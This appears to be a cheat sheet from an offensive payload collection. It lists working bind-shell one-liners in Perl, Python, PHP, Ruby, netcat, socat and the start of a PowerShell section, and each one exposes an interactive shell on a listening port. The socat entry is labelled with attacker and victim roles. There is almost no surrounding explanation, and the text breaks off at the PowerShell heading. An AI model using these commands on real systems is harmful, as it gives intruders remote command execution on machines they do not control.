## Perl
|
|
|
|
```perl
|
|
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
|
|
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
|
|
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
|
|
```
|
|
|
|
## Python
|
|
|
|
Single line :
|
|
```python
|
|
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
|
|
```
|
|
|
|
Expanded version :
|
|
|
|
```python
|
|
import socket as s,subprocess as sp;
|
|
|
|
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
|
|
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
|
|
s1.bind(("0.0.0.0", 51337));
|
|
s1.listen(1);
|
|
c, a = s1.accept();
|
|
|
|
while True:
|
|
d = c.recv(1024).decode();
|
|
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
|
|
c.sendall(p.stdout.read()+p.stderr.read())
|
|
```
|
|
|
|
## PHP
|
|
|
|
```php
|
|
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
|
|
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
|
|
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
|
|
socket_write($cl,$m,strlen($m));}}'
|
|
```
|
|
|
|
## Ruby
|
|
|
|
```ruby
|
|
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
|
|
```
|
|
|
|
## Netcat Traditional
|
|
|
|
```powershell
|
|
nc -nlvp 51337 -e /bin/bash
|
|
```
|
|
|
|
## Netcat OpenBsd
|
|
|
|
```powershell
|
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
|
|
```
|
|
|
|
## Socat
|
|
|
|
```powershell
|
|
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
|
|
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
|
|
```
|
|
|
|
## Powershell
|
|
|
|
```powershell

# Victim (listen)
